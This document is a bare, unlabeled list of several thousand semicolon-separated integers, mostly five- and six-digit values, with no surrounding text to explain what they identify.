39983;80004;81214;32201;20289;82852;50196;70623;86285;73049;63132;20476;89007;47054;34971;30135;65003;89215;32908;76872;85487;19393;44654;85199;102537;74193;55786;104425;42331;95462;43766;40764;78354;89503;65774;79587;71118;75020;51754;86593;44634;91456;81710;62487;66281;54986;75263;29832;57843;70937;92829;52236;29704;27866;86760;58228;48292;43089;72070;44895;57194;54169;54140;102233;87536;65073;61741;51313;32974;34006;16537;106450;90865;40039;96065;19521;21323;22387;40806;41216;50623;84938;49112;54685;46410;96357;18263;104001;20199;20523;24964;68037;62235;53233;24316;53341;85584;36114;69302;49388;39739;94305;90167;50567;80336;96779;93293;21623;79754;20210;22725;72037;57136;68232;69451;33195;42230;62654;15044;48597;37914;30331;32023;40065;35319;64272;68527;106315;25837;25670;49410;55083;45102;87878;74563;77022;79652;28297;48816;32898;93476;80989;30713;20578;63664;52699;23756;102364;66037;36895;67436;64562;21355;42733;45204;73430;34669;54884;13389;11330;96146;100264;95802;102139;69221;101708;96670;72671;87819;44580;90351;13845;35351;72170;101034;40351;14115;69650;64128;25629;64425;106824;57734;27181;40816;102598;11196;51186;15481;89105;97318;93151;64790;87390;74650;57257;96630;58294;76110;76774;101151;46290;77405;96738;101581;40450;83706;74227;45451;57053;81307;16065;99722;55777;87392;14515;85138;86272;70884;67945;38403;62008;39905;64020;44275;76247;11528;39647;60767;37264;31565;12493;71343;93815;102369;13138;67623;43413;85260;79955;80343;15240;101427;74518;69004;80731;15769;106840;34937;50191;91258;103533;68048;24142;73909;87125;73830;15590;49217;62025;97681;42255;58696;33326;89743;73402;41774;81782;102751;97866;27233;97479;46224;75488;36841;70371;71064;84350;82164;93370;68371;85833;93401;69627;101643;33845;44199;31898;65396;64958;78806;92308;96407;76157;67903;25599;42444;36184;101237;72864;66864;37189;58667;51284;75011;16150;15065;80891;59831;18024;103043;99414;44138;53801;14377;51237;30558;22872;14960;96840;101319;86097;91951;24602;57775;104259;25205;53186;20811;25319;88545;30110;66645;58084;81109;28987;48897;78776;22572;28707;58721;23318;60040;82962;38879;23267;21915;88120;32383;83864;43199;12943;59373;96649;28150;67061;43289;29073;95835;40543;37130;14103;18299;10359;82472;90534;51174;50176;46752;75902;57974;15731;93529;97010;42094;92647;77763;43141;39539;19452;14596;77651;33275;46550;50876;13304;52009;35345;65084;89915;90431;42291;32302;76902;97267;66163;99799;68948;76554;82856;23750;100994;49703;10528;73214;41928;66231;64053;19213;89702;50512;72749;97603;45516;51398;92068;47304;103963;76876;66224;101411;71907;42045;19871;24740;99102;80389;13402;97270;30801;73242;102200;104473;71728;81633;61934;20244;41518;33496;96590;41279;78813;28270;49925;49035;72570;72507;72638;87100;89451;41247;43759;39535;72808;71461;36438;27490;15369;54020;29188;20785;106850;83434;53884;53373;73518;102037;78332;63802;44825;82130;91962;45731;68752;52228;43242;18184;97968;89185;15157;71462;26116;71434;47737;55180;18292;80676;36338;48315;31367;43784;77166;106872;69644;49802;94830;28193;77123;23598;64948;95425;84874;73998;33452;78559;71053;100619;87893;42759;107099;80452;37564;41554;17360;23227;73480;101073;18935;53107;90598;60808;76653;33738;95480;30024;39895;23355;103405;68424;43685;41053;88502;24059;75545;15943;88733;99013;47351;44644;36045;96270;69707;61899;54744;57435;36628;56392;30852;12350;72328;28933;101157;20612;82854;61219;58054;24916;69424;59416;64348;20498;36214;13258;39762;68570;15173;38317;102193;58860;54127;53978;38291;43186;20238;59895;89347;25959;28115;20630;63898;19847;99761;28481;41373;62151;61445;11401;91589;63544;97880;81856;50802;31016;70564;84933;104150;51517;88850;80706;78704;86109;96089;36177;24032;37316;77293;44196;46227;19400;25788;96994;99815;58606;66516;35231;81644;13243;67150;97736;83019;105437;70424;83497;14420;71487;37222;73758;75070;42072;99253;80672;77883;102092;47442;22185;21186;65332;13096;17836;22140;49767;86191;79440;65430;64350;106149;39505;93987;49578;33029;36347;65963;76992;24409;18038;77342;106903;87480;50524;89796;54450;54321;59580;50650;27456;41542;96528;10263;58704;86550;104433;54811;14428;87325;49805;63066;72461;52987;40549;57037;77964;68369;18380;25649;21670;61780;59562;51995;88725;67065;24780;59127;100847;95299;24590;93790;32270;40650;84145;46220;47550;77915;27413;104352;56414;74241;48883;62346;76991;79494;51797;89780;26979;81894;46611;24410;40715;12424;20766;72457;61442;11318;29149;67398;22859;86674;37480;106416;47365;59807;66788;67591;96627;40917;103885;12216;91246;73606;32465;26942;42677;72148;16118;51978;34891;20039;95780;94369;31579;200127;105485;103101;78326;30480;87138;48316;106979;39941;65965;96127;21830;51520;22056;32315;102538;94986;81889;54557;71493;60608;105372;10969;61264;59370;13316;95836;67749;54768;74420;59896;84310;94696;78454;89547;50263;44703;81751;95533;94310;65033;31910;75961;49089;31406;86975;104599;104292;66904;104412;100251;53695;95377;92701;39898;45560;29793;24949;15790;72354;97195;66199;82817;22247;24695;71580;83867;45906;11448;105710;32764;62469;52740;40927;36148;39728;85782;88162;62864;53450;46120;28696;68610;97807;75673;16582;52788;35133;30541;30280;20912;78756;69081;95049;84974;14466;82884;44988;55609;13463;52271;30859;93648;58495;56883;27460;102832;20957;45925;23811;100300;72996;25072;39587;101054;87128;11141;77887;94236;32103;55674;103249;95677;59474;24567;41957;36880;97831;102198;11899;59358;41654;82635;78245;39669;18746;97667;69020;107008;57380;28993;104644;102320;36782;23014;23021;52194;104717;79103;18683;25489;73716;64215;29111;20667;97523;92230;82806;39338;78924;63921;91483;33282;30938;45573;11732;37403;100956;59517;65660;93510;24575;30700;27317;103907;105845;86544;80498;41344;11531;56196;51687;94548;11462;54113;94635;18602;49639;38633;10586;87920;85800;18174;85461;66047;10153;53118;76985;37831;46817;74418;71629;86086;101702;68951;86188;18640;51559;32216;83816;104426;57052;81131;36039;52085;87859;104624;43431;39152;89681;40080;80527;41520;75984;87584;21178;96817;47523;21417;80659;102619;89043;21717;92670;64090;95032;91393;100630;72606;81829;57416;80827;23264;46738;37611;27938;66115;59574;33539;75609;63944;44350;10579;46988;58946;64824;62809;72883;80534;64164;13289;97879;16845;89639;84516;39843;47150;73181;63301;40316;51561;68159;35082;68958;93992;73309;49793;89244;62754;53092;14371;83693;45765;20534;105736;56613;84793;50260;28565;30325;19215;100131;26355;84286;72610;77745;39973;26647;106362;42824;63579;41598;51704;58940;84454;18306;54447;102282;50685;103473;103576;88061;39254;27857;81389;89053;50782;25759;41746;41196;65005;93757;100752;84484;82637;58747;28737;28524;88442;57710;34080;86603;84899;82285;32759;81667;45523;72159;35697;99496;64097;102686;29637;43316;75506;24302;11497;72388;91545;28638;53293;92452;103161;59995;33974;12699;18044;31324;25913;16865;81133;65955;62749;46824;60998;82432;93014;106629;89886;34180;60613;67736;72377;39066;34884;69482;97108;102545;80696;86574;68411;67688;89200;74926;102361;43237;63458;61595;95396;33701;53759;61376;100529;18165;58174;80464;39787;46225;99704;20422;96696;68732;25664;96018;82713;85670;32544;16387;89089;29089;65186;90774;28835;100377;78784;48945;53659;39207;90438;50373;103525;77340;84323;94759;70387;101725;89408;54823;60830;48748;14870;14239;74055;40463;65036;29624;90572;38168;101025;47805;33334;79532;55393;47450;47258;64591;54716;68067;37331;52735;86951;78337;48731;47047;82493;18775;35619;67254;53264;28039;72512;64152;15457;86999;101260;20959;49517;48707;11852;15787;94423;18402;28941;26723;28076;34311;79711;79566;52906;95919;15935;26913;30939;94173;74220;21761;58401;45983;102358;46771;67982;46651;82657;33129;97386;45370;30909;105167;59449;32327;27659;13617;80276;52629;65991;103286;74584;87935;107030;86926;72632;39151;32088;43872;78839;53466;46987;25747;49303;62723;102436;18586;83644;86600;79952;11463;29597;62465;72552;88867;97964;54861;40982;69263;200134;26521;22703;60678;60245;21783;69534;53059;69325;93679;50142;79431;34943;87078;23045;105682;89964;86722;17998;62308;91629;71748;85122;84613;49906;39756;10309;12293;80994;84686;40875;58761;16854;103586;33934;102354;52335;33398;59436;59003;97531;97217;52342;24236;63107;65590;13241;21810;56870;82813;17813;70680;23245;84311;77377;94010;87674;50018;50622;105221;50726;39347;105672;51541;46524;84019;21241;84994;86799;54891;21861;36991;74906;72251;47586;93400;34129;13698;36187;31329;64715;31493;81218;101769;66822;91019;10507;101934;70649;23995;55803;25652;90949;57731;106051;12336;86496;11292;28133;71718;60683;80047;82364;15975;77104;57609;14943;87139;65252;83055;32474;84709;43917;96651;94894;74439;15971;99812;67597;80578;52720;95353;53151;72479;55102;66092;56043;100503;26556;29780;31285;47106;93775;12446;79579;91582;54038;46040;39120;11077;86708;64953;45121;78976;37006;32813;25367;101511;38444;81456;69486;15654;85500;12714;26471;97045;91596;26914;65521;79941;52366;95303;68637;97377;16395;93007;55051;49389;11259;20275;63999;38223;70170;83170;40214;26832;90292;47907;84288;65761;31894;94153;11117;79404;106448;84941;47599;87202;101938;15987;16060;91841;52966;32924;28605;51619;19463;87707;73856;72344;94005;102484;32101;45192;103478;22885;81516;55664;20004;33972;88609;65923;61367;62145;26742;80418;93377;56296;74254;99177;60431;67864;72001;29115;59107;46017;92089;54766;42489;105530;42371;87280;103518;87835;87991;55367;65882;63852;16063;84200;21009;97194;63755;67310;10361;102666;62298;95717;52090;96918;27159;40423;44726;87973;22302;86668;20887;100270;49211;14468;103873;84840;78691;46627;58514;70347;93404;58460;26167;88793;66058;62046;85037;106738;48784;41624;31964;105285;11094;57686;103233;84435;68141;12255;76940;15347;69354;31696;61449;73071;85107;20473;35379;33543;10985;41608;19785;69827;88528;32758;91337;78346;21213;17427;88724;31989;88557;102293;102465;55834;12667;57054;18608;106058;18519;105724;35415;49581;48491;17741;76894;82243;59209;44941;104986;47311;105014;102610;81160;70188;12571;86772;92360;94046;49920;13051;59504;44513;84757;16184;37479;100018;69198;26059;61569;12352;34370;81186;86183;90844;58489;75990;82366;53999;46537;31772;56049;97533;30659;20148;14699;41222;81316;20696;13306;106367;80340;95938;41859;31358;54394;11819;103492;88934;93549;46766;49853;101695;94056;54455;93150;101627;43807;14652;43985;39396;44949;97630;26441;62525;62506;52862;102847;94735;53098;22263;68504;29984;34318;200108;84452;76848;91367;47344;99035;24245;74302;100126;39016;13529;80555;25151;81761;94471;21913;49197;78773;62158;34876;28973;43723;79174;82508;33677;81169;63677;60629;43470;97062;38891;93163;41132;75041;39185;95313;95841;63162;76746;51763;66661;92204;91027;104943;62766;83456;106238;62167;52724;83393;76196;16599;29532;83621;89212;105316;14597;41197;15793;99687;52855;104783;15514;52885;103628;78666;51531;25218;83552;82886;52998;48845;46031;40123;105929;19530;30328;44421;76791;68328;46826;13172;82450;78093;28302;80088;69159;39364;31281;74373;68849;52070;75531;61222;78405;44316;82282;53201;106500;20674;80158;92660;89378;83742;86537;43164;71572;89455;89236;39840;77421;46700;105443;89114;102582;74989;57997;95562;58064;81681;93559;73106;56622;104397;105950;90183;16880;95365;106810;93592;57919;50314;89922;60284;101862;73697;99483;54800;92561;97048;77816;88147;91388;43386;61045;35281;15795;47668;21698;27921;26668;38667;90801;69291;18000;15796;49073;74044;29754;47181;82638;85443;72687;56355;24025;100796;79643;77865;68102;44073;15984;73507;30975;41953;77298;80988;50087;15617;49885;60590;27353;66957;97180;69894;79735;100874;46371;42647;35479;92151;22589;22207;45890;45911;23113;84872;63199;37572;87371;79917;53217;86801;40792;85434;57221;33107;41637;59394;85386;17451;56808;39139;26137;44732;45634;52760;65804;61416;46658;87626;14125;22752;22901;34724;31971;54721;94191;74043;53298;34036;68292;61387;92175;79790;102874;48870;23540;40945;96228;101619;67386;49315;41652;72418;62676;59041;68497;71554;80917;50905;75674;56081;43006;27038;61743;68616;70924;58706;81748;31854;67039;22020;20193;83176;75647;93984;103133;106020;39771;75949;10440;49603;69029;56452;64510;96530;41109;27293;102347;82275;52557;97392;97582;86635;68046;97762;25368;99054;54062;72555;18068;90632;11080;78586;70475;64734;38225;87276;17186;22782;65829;49072;74025;55896;100817;45789;87035;82839;38800;101515;84250;89632;58652;54528;21198;106311;52022;51970;94197;61466;37608;13932;57415;96154;73378;10703;97423;95769;61807;105371;103779;53500;18198;45309;18733;53245;86661;77617;61311;71251;14147;106210;36400;92016;104451;97427;85057;82653;94435;82355;42359;32807;19308;48214;83459;31163;43986;93936;50530;77193;52302;29405;75923;26304;89693;79354;81635;92465;86125;97886;68618;82542;94183;105464;53231;39458;45791;32393;91654;76441;75278;73492;22437;10747;26484;30808;107033;64396;28637;37000;43514;32530;78533;12479;55421;20226;36783;86317;61048;56424;90455;10915;49983;49350;30709;33501;34429;93784;47608;106207;51270;71843;11138;87563;32990;41115;42526;30745;51490;97035;76584;81611;99381;61981;29063;105937;70593;40605;75423;24984;22490;15730;50069;68775;72962;46466;41096;43990;85868;52561;100372;36015;59214;37408;91916;41331;46181;29003;20893;32733;104335;38440;99866;68374;22159;94978;39096;41208;55970;88500;44005;51184;39324;33622;43401;40083;100675;104177;103321;27890;69166;70998;97815;79920;18007;87116;11192;47182;23738;51805;12604;24101;102570;36685;50976;62689;40977;12505;30706;11451;23160;52007;33156;81719;89760;25439;104367;71530;14348;74142;105073;89615;88596;88760;60266;42256;51827;82425;31682;61756;49610;72915;43382;24943;77516;57559;93755;80294;71504;33978;102841;38465;42895;74475;13105;50194;33757;61858;44851;14230;72025;100977;77423;51634;81280;18247;52311;45552;102986;66240;48446;18014;28691;53783;79083;84569;92098;100000;64304;57173;10971;104323;51698;12913;16302;16805;82221;40923;10844;84206;93649;101615;29915;88785;73362;95967;57165;41281;19601;12618;31707;73397;69335;79171;83611;107106;85141;47478;53317;21016;64008;50349;81650;106972;58587;24645;52698;15295;21873;35490;91875;22551;69402;79295;30698;42406;71096;65055;25093;88851;18016;49359;45741;89940;24566;38347;40548;29493;78506;81687;78052;44899;90889;11156;33775;91919;101258;46330;70468;68544;58281;76446;19986;12421;45763;13622;21661;105515;107003;74003;53942;60726;21232;88398;59351;12804;40710;31342;13914;52038;42670;39190;11645;102884;45936;68762;53169;28719;51639;88390;95910;33984;23090;50295;38939;19953;19342;93777;66997;88933;50754;99882;19302;71036;86627;36951;75021;18940;62823;13182;53297;21754;18759;56138;43355;73727;76703;78390;71602;23138;86891;35908;106122;95703;41254;58200;16232;39516;12934;23984;28870;56618;37865;18482;101185;55250;54108;72618;39079;89916;76512;37716;10387;52054;87598;25617;73065;51044;73117;75458;71141;42459;51555;15022;65707;49392;30196;91546;104463;81642;53855;53774;100642;106787;61389;88034;12521;54243;62737;51086;62445;57882;90158;82924;100965;42777;105302;11765;67598;63201;39327;16532;39660;35892;16192;26725;83874;39083;26538;56504;57830;35588;21572;23944;32566;63700;105563;75441;66453;36758;24960;68227;83004;29931;35130;89921;80751;101660;51478;66527;24218;65331;40431;92957;29750;30153;80473;74573;21489;50574;47089;104920;18601;54112;99469;93383;52058;46145;97060;20945;11895;97791;62119;73892;42927;39519;16094;31768;45020;19051;55483;97996;13935;86084;106081;94809;82959;31478;85683;12873;21008;29083;75495;27754;91690;43804;18690;82320;61178;92167;32109;104059;43640;96995;97013;100185;93011;46332;106736;51554;27961;20594;18648;67849;92932;105859;20617;67713;37515;89701;82023;13083;81821;54132;97509;85524;88419;41600;42163;82372;26815;27322;63847;40392;68796;79905;105400;21156;12091;89533;45859;78128;15299;93300;13784;52210;46882;103805;17796;74888;95694;70669;22696;91732;54386;96580;87268;67659;82748;43396;56753;71219;43037;48449;31930;80517;79125;82755;56707;61896;79962;57453;84450;95651;60616;30910;51608;78706;91958;93882;57754;14911;36925;25273;79106;21512;94503;42340;32739;73225;87615;15186;21867;89281;97570;55564;61452;22567;10308;13410;96766;16161;70158;42625;17683;38130;61233;10069;97177;37582;100520;24263;105408;22318;44495;33693;54896;11595;34062;52898;32053;31391;67531;101752;79068;51173;91130;30604;63829;66856;42473;59593;76534;14882;84860;73813;56359;49766;81089;75848;69176;61816;106219;43021;14526;54292;83231;29546;73981;66784;11385;75997;106350;31021;101414;83756;37728;67901;55249;46994;22405;51338;13107;86316;88751;97024;95647;71417;44618;53847;36298;101946;76588;83852;12349;103798;22533;63654;49420;99288;13879;56860;85780;33295;92142;47773;81926;32665;23049;62773;57493;105841;36077;22967;79283;79872;85070;35905;97820;45584;22832;55296;79217;93075;67004;44547;37883;62604;30683;44910;39763;100758;92497;54487;25399;13419;45392;29272;55747;24151;59479;39074;35653;76475;44484;105611;70006;96924;61665;48546;37721;31003;40573;66494;85940;65646;56979;92582;80019;22107;59723;36306;81886;49781;35200;24185;74359;10562;37413;85009;44479;78078;80415;37307;23610;39544;24124;30193;38774;25569;67851;47646;87865;53672;63106;104134;35275;43085;48188;29993;21788;39071;88678;41089;102649;96205;42370;45172;32048;39855;25631;10321;58848;67927;10121;103115;67445;27536;19012;69789;39620;45325;77851;46734;58175;45319;106800;66433;31442;26078;96936;104747;61127;51961;24031;34191;106289;94950;81235;105844;18047;75487;53429;62976;64837;87143;54808;43941;72115;25381;71049;57968;77799;66792;57970;103590;66750;99640;11815;14408;69847;93502;85644;62099;33508;18117;47729;42838;71119;88945;99416;33697;29168;50251;75887;64815;48898;82281;38996;102511;16946;101626;77148;52065;65182;40198;61904;73656;80938;23597;80734;41944;83430;81527;61213;105681;59086;86052;106779;43734;48591;84549;23385;22029;56428;34424;80730;101979;16348;70755;56407;49346;33548;89939;17272;20962;26861;99999;14396;39433;93608;23527;62652;64447;54500;21286;53176;52460;70394;61050;23879;96856;100075;65494;103595;106784;55317;64260;23234;100316;90338;71663;81991;27843;90979;31519;93562;47288;73975;74320;71475;80979;73208;20909;70585;41833;70600;35024;102915;93211;54976;20428;38739;66082;105873;19792;40386;76925;50216;26142;76912;57656;57454;76858;71497;54527;71583;91066;89178;73666;104896;48402;101075;31858;17290;41986;62253;13327;49032;79430;35369;21046;102408;53531;67673;80293;77381;34662;24277;60685;56823;50403;34454;45337;85177;78496;93941;11748;104652;26709;44020;73446;15750;102252;23525;200097;39683;59024;55425;86663;90789;74591;58899;74713;45215;91792;106308;73190;61683;69306;19524;20906;88991;45815;53318;71787;56023;40772;50542;59628;63103;14757;44793;50859;10492;40364;64496;14979;51739;20090;88675;26364;62489;40774;23689;15076;48891;56186;47306;32336;19419;78866;85774;30958;66960;79960;77441;81671;20856;32312;52469;44721;33402;51758;15998;91515;94449;53021;78000;33217;53716;55617;14761;56002;38956;46725;79188;41810;55831;82676;86036;29212;87848;69747;54660;30763;53941;103842;32047;80022;60806;57915;63407;56729;56760;57331;15548;42780;43466;95423;37881;90841;80632;64502;56724;36240;39720;93771;67951;57566;44413;87296;97295;16594;50356;18565;44969;12510;99481;44928;61540;34306;101434;35783;81255;37385;105718;34325;79600;75822;47838;29195;36223;62468;74661;99654;100397;26646;56888;33752;10659;60992;71013;47871;17024;14380;12614;51614;37433;100228;90128;80100;25142;38981;66963;45431;15841;99686;49743;96160;56219;34195;54253;102999;80747;95720;60624;26863;51840;53028;34012;100467;94316;27565;70950;106755;44777;10871;47652;47748;85844;94816;71559;70471;59420;47213;35477;32941;12321;71001;68041;38732;69227;101941;54964;11170;104973;29556;30167;55552;64625;26911;17225;19922;71812;67075;55377;43293;101646;35922;51354;80567;72183;95294;75154;14197;58106;47209;44155;34597;30964;62891;93186;20326;79010;94576;15579;96993;105126;37216;21222;88402;33781;87907;100545;68030;59126;64230;90291;55766;32435;17238;77958;40174;80980;77701;107115;13146;87308;86232;13073;12016;48178;37518;55227;65959;27195;60627;65749;72949;38591;36917;101463;55443;79107;97482;89246;55709;20276;80359;95737;61505;106424;70806;82569;92408;43342;78485;10324;92995;84410;69450;45962;28966;29234;101757;58969;22374;35942;85054;14350;29617;60650;17824;32638;45838;73893;17218;38112;80420;68415;14593;17982;102179;89269;100996;20654;45348;106509;56268;58372;83948;88653;68395;92791;63562;99790;59639;72700;69901;101666;89507;22568;88825;81935;10661;35649;80960;78563;45947;65560;78139;47666;67740;31063;49193;37134;105419;85976;93699;42337;81604;13795;78420;75280;73332;49332;94566;84365;20493;84079;83744;11641;54303;36849;21707;94039;42103;28703;42980;23191;73145;30792;60106;99049;99190;39920;23579;24224;47866;46948;34213;59599;60033;78800;30982;23687;16834;102700;17456;48976;52077;68921;82385;93580;20618;39574;68412;49316;63798;86633;48934;18295;91182;49069;13357;48318;34150;79432;79564;40109;22104;103815;67805;81963;10031;68410;94913;86193;79621;47158;25945;50064;70664;200038;105079;100027;58811;59452;16953;65842;68970;62942;20604;37862;71671;66802;22615;106366;21675;66514;12830;101128;34391;70949;80079;89152;80414;107006;99060;58779;79433;35730;71157;23707;35132;75249;72473;74955;95322;76684;69316;56305;86057;99135;22639;42070;60243;88965;18659;82375;40000;75125;55743;90723;52289;99810;45988;78763;26570;20303;32814;83678;84440;64516;52955;97329;69055;17269;24054;58775;45502;32628;30733;68824;17999;56244;66764;80828;89885;88426;45327;41765;56824;50631;15385;97655;84139;59958;95298;52301;54832;49854;39534;11750;105329;72164;36236;67842;31008;58493;70067;29725;21443;50768;44555;34991;23688;78607;94026;69805;21801;30320;63817;32432;100641;59026;21820;95920;12387;14825;51566;54090;65672;36385;80237;89976;36316;103325;24413;200117;52709;40704;51640;49220;86640;66953;105936;22170;78956;57956;75152;69345;17452;19541;77171;74905;35154;78848;99451;84332;84854;56995;83503;27461;63426;79369;65974;27959;71187;106826;29670;30378;101187;27790;84592;107141;49084;87574;75158;48162;32016;35119;36132;74902;105931;50454;83724;87294;77510;12127;68414;26578;97034;78448;42231;82822;102072;91879;46446;33786;11766;200005;72839;95924;40895;48189;72155;102260;13319;104050;58839;101986;99714;51289;93708;81350;50807;78285;17131;24484;39758;30563;49957;34691;31384;105596;105919;71781;80903;76401;105007;35338;103686;10162;63331;92910;106178;43922;84795;28990;11422;104278;12386;37165;70447;97232;73229;87916;70799;89373;103474;47374;41558;94649;51362;20301;100219;92646;39232;27455;75823;68032;64437;53839;99944;82264;50670;84649;26399;47183;23658;79839;85120;44802;74139;74031;14613;96935;88999;95766;21396;16215;45008;25036;82399;41961;99546;44291;78877;52275;27845;89430;40631;76804;70135;69807;95407;83619;21706;54953;11509;96527;80595;89842;21729;54985;75691;67628;77746;50662;51075;60342;86251;73648;22298;24771;14374;21778;65423;12871;15760;70888;75187;45307;66488;23395;49961;79847;14311;80306;97453;80970;18726;77594;52570;33767;52791;103582;90726;82603;78167;38475;32967;86738;55448;63166;54063;97338;86817;93141;54185;37391;21182;27416;72505;62409;103392;69864;42896;48160;27822;31208;92773;95027;74768;72837;55576;26443;90591;24961;23067;70248;81598;20040;95944;16213;50783;49384;34556;40871;61072;67424;78468;80161;12476;102373;95598;13701;97175;77023;45717;97456;29922;61598;40863;43676;70224;44011;35124;106805;74347;16745;66250;63732;64994;90530;50965;20001;61006;99019;26124;76780;55877;44014;10674;61488;105793;63976;84658;34390;89335;46610;99024;27359;68707;36654;104431;24246;101895;76846;65386;24627;19774;24230;21282;43339;61362;71207;10329;20061;46298;53440;89493;46557;42710;58205;13665;91259;89676;88444;58022;36695;79096;82142;10443;99513;47000;96760;59590;48144;56134;89659;74979;50134;89037;13631;72713;104148;104146;87569;71152;80295;81312;20886;92427;91883;61137;77250;37767;96879;18082;83362;21141;41014;96946;68449;61848;33552;18357;29982;34652;75204;65470;86934;93197;38261;16428;89353;29384;11366;87353;96700;94453;91721;93979;46409;22233;41359;51111;44927;82398;79570;57782;52063;81724;71848;90271;22595;29389;83925;31062;43232;12263;94081;95942;63026;73964;53686;37644;15733;69121;105097;32222;93953;74493;41939;65090;104080;100740;80791;88130;88127;71171;55667;40825;101863;47769;102020;101481;106348;104912;17106;33119;90712;87870;101372;102265;55198;50303;18159;66471;83587;11112;32703;63754;79230;28017;85478;33578;63721;89464;15847;69589;10986;72812;24716;66791;37629;10469;97839;40662;25689;81377;89270;85253;24489;26671;86586;97698;94437;70783;43425;42042;21626;67880;28888;43041;100550;18336;25073;72369;92694;19292;22959;57857;42939;42270;30382;43346;17175;15717;77924;74120;102879;49263;100391;25299;78768;14076;32433;84406;28965;27103;52967;30920;70915;91277;39715;92690;71344;20201;100879;94252;70753;18598;105930;28536;81019;46291;85959;79678;20958;19899;43068;10639;64427;105248;105669;18583;81396;48936;74714;23492;37512;96374;19174;71961;22785;11791;78325;38116;71329;59418;48828;56133;81202;12406;64942;88172;72237;99566;46878;78612;86753;103764;35997;46956;55209;50931;65208;70710;25806;33764;54341;48882;89800;64871;31563;30930;15653;106031;92241;19276;38148;40619;69388;61585;47639;19479;74724;18853;60143;24113;90270;45866;57588;42166;74968;33336;84049;41756;24604;34291;26927;93927;67282;43931;24412;100113;42843;94574;96030;19300;97056;77392;60246;89651;66641;47201;14889;19250;10078;106913;19568;100394;101669;88111;77451;20698;93808;75338;92361;45118;72929;43976;43948;11670;81950;99986;28787;96622;79731;93803;74720;25212;54499;35076;16655;32623;66690;64294;82438;37452;103253;39637;40062;40407;59218;40981;69385;40992;88645;43650;45839;18852;38129;76964;44069;40915;90867;44532;10295;23224;58531;101018;27146;92357;68236;103543;52550;54747;105164;97779;75389;67375;52900;41709;14196;43051;40432;94106;92347;59999;30266;49884;72371;84123;100148;53936;66540;25490;71703;47521;63335;68573;15519;83920;53259;49255;86136;61697;81426;54799;78439;77860;77665;40506;47654;20330;93572;31660;30391;10388;80479;104945;86645;75295;95697;16026;85023;33717;14438;47435;54786;48866;104500;66482;29295;47169;45148;39921;78855;21614;22812;60173;17974;34432;89558;63161;41046;70014;30163;45316;58907;23140;46553;50413;12542;87117;75240;107074;11757;79539;38483;55193;41681;49948;60406;72319;71412;58367;17286;47776;81035;45128;69939;100337;84178;43340;28866;72758;33177;28891;93334;11751;22855;23499;39588;78414;103162;83950;41533;41120;13421;45567;15401;38302;11717;19539;18886;62669;50853;87001;77940;21782;64277;85167;97979;10340;85066;47423;16033;78359;30576;73053;57073;65061;81488;74872;20819;50082;74947;38335;32782;71172;55862;30693;102705;59684;33449;26398;38729;74240;88938;62596;89116;103504;80745;57964;105352;41134;33830;21478;89466;32632;56021;73137;59190;69502;32011;18607;103512;78345;43627;81395;12747;97127;56051;10422;31901;24665;20941;62321;84615;60513;62704;65916;61725;27820;21624;51883;65510;19370;86424;39645;87275;94712;71102;11334;35513;49210;63192;16461;46381;63782;101899;84138;81764;62633;16234;26372;43266;32889;106933;59952;105925;67095;49732;32508;40503;67141;80705;24799;59547;47841;50791;41679;21505;15397;89859;14894;100290;103394;35049;71473;41438;28366;89769;24816;18958;11584;89054;16013;55736;91300;33001;32875;70733;100411;69924;104145;33054;42017;67870;67854;65969;40292;90056;82080;52519;44656;104555;14501;88105;97163;80940;79467;38717;12219;11081;92958;82511;31349;24890;86431;63580;38269;45996;60880;32292;71492;14566;79770;21906;13522;80681;77468;60827;100226;100149;79503;42696;37983;17178;33728;76772;74746;40042;104632;27812;67533;99679;54211;82670;55905;82506;37754;64245;84953;41062;70386;89078;103638;66268;49731;107112;69948;30836;67127;91938;63491;81437;11500;103305;78683;99971;32634;92093;43515;77726;47880;68701;61973;83423;25582;22672;20372;79365;21261;51221;89505;53859;58864;72766;28163;23519;16332;61161;69545;80183;16586;105730;90215;101275;33571;13399;104091;103430;97416;23472;67419;94984;10367;84634;72821;92026;99792;61830;85933;61568;101203;48199;67809;16524;69714;92404;87022;95527;89894;74236;28428;93890;16000;59121;86719;53873;82008;65113;95638;96618;103550;57984;28731;101949;84144;19669;59780;100589;75329;30725;50459;49265;105562;36247;56278;15136;70952;11203;15306;77723;49198;93813;15204;25497;67836;106411;42019;26037;27406;102112;63101;85662;67605;39161;107014;14243;17515;12689;61330;37529;59690;82498;20317;53765;81809;33462;82421;31050;71716;99322;101681;53516;67080;89715;57890;91512;75083;14516;75843;78267;50104;33695;96976;35732;42196;50368;67834;105657;68868;17256;43541;51926;25717;73292;77853;40474;73206;45827;66278;42363;72999;28427;73927;91786;106483;23506;91671;39449;84461;90716;89675;81776;66109;46384;64291;45111;10417;92399;24265;105184;84868;74679;36731;40059;74030;73605;76864;38114;73611;28225;81553;10618;85840;103306;58019;94053;38685;91655;73894;66995;80457;29486;87738;32019;39006;45593;11118;35487;41584;101877;103997;55067;105520;11857;39030;43348;95392;46128;200110;27681;92820;104541;92143;93863;28438;55700;71275;50794;33708;87326;96663;20813;75588;86699;50086;91965;49052;68869;85347;100066;85241;55242;74135;27020;89544;48285;105858;76847;78575;35354;76950;42749;80159;18181;102837;102905;44471;85293;97402;61571;61060;64677;31808;80124;29537;101284;64983;23005;19954;103170;93949;35434;62646;32830;88012;24324;43874;22121;80354;82019;18243;32397;41920;31114;62182;105172;59556;94091;65983;69702;46362;80680;89845;90630;53755;15392;99520;16027;82098;15379;77571;21851;51274;85694;59038;88041;38722;74637;26415;85848;72321;97280;82844;23881;101903;71229;23453;58426;11062;10829;13560;70507;106458;93998;86741;35363;100434;15348;14986;28553;55521;71765;76597;18501;68008;25840;33327;12964;80397;46255;69378;92409;44423;77222;66528;12496;24508;48791;104361;51379;74506;103038;67453;74049;62552;97628;86087;34425;46636;39379;19626;56859;48626;85797;81200;47531;103501;90256;53866;51190;29553;41214;200034;14799;85053;99226;38155;83671;19450;22860;94391;47477;46354;71097;32318;55342;104777;23757;70874;34628;82116;33362;79535;97483;29540;41243;59598;14110;80576;91920;20613;35702;51260;43188;100248;34458;75173;37492;59129;97676;78953;91405;73391;36607;11602;14794;32417;82137;48730;46980;10962;72607;16639;18868;54708;56210;82436;24164;89099;78992;22920;92451;55848;24782;63036;72423;86313;27983;87519;54881;66434;101271;63667;103749;86832;106189;81017;75331;10828;40725;87085;72945;13545;78383;96922;49562;18071;42218;80423;87142;69059;12474;40967;14172;73524;17231;34205;93338;93273;10193;65139;60009;106378;13057;73528;102002;94146;103212;42956;13324;54601;26461;35032;82836;31506;85414;53732;49307;11381;58377;49575;38070;104579;65089;84412;30479;28016;81621;44503;66404;41596;25389;56050;76449;60804;65729;26223;77385;34269;45823;55731;61919;84194;93420;66916;60996;93586;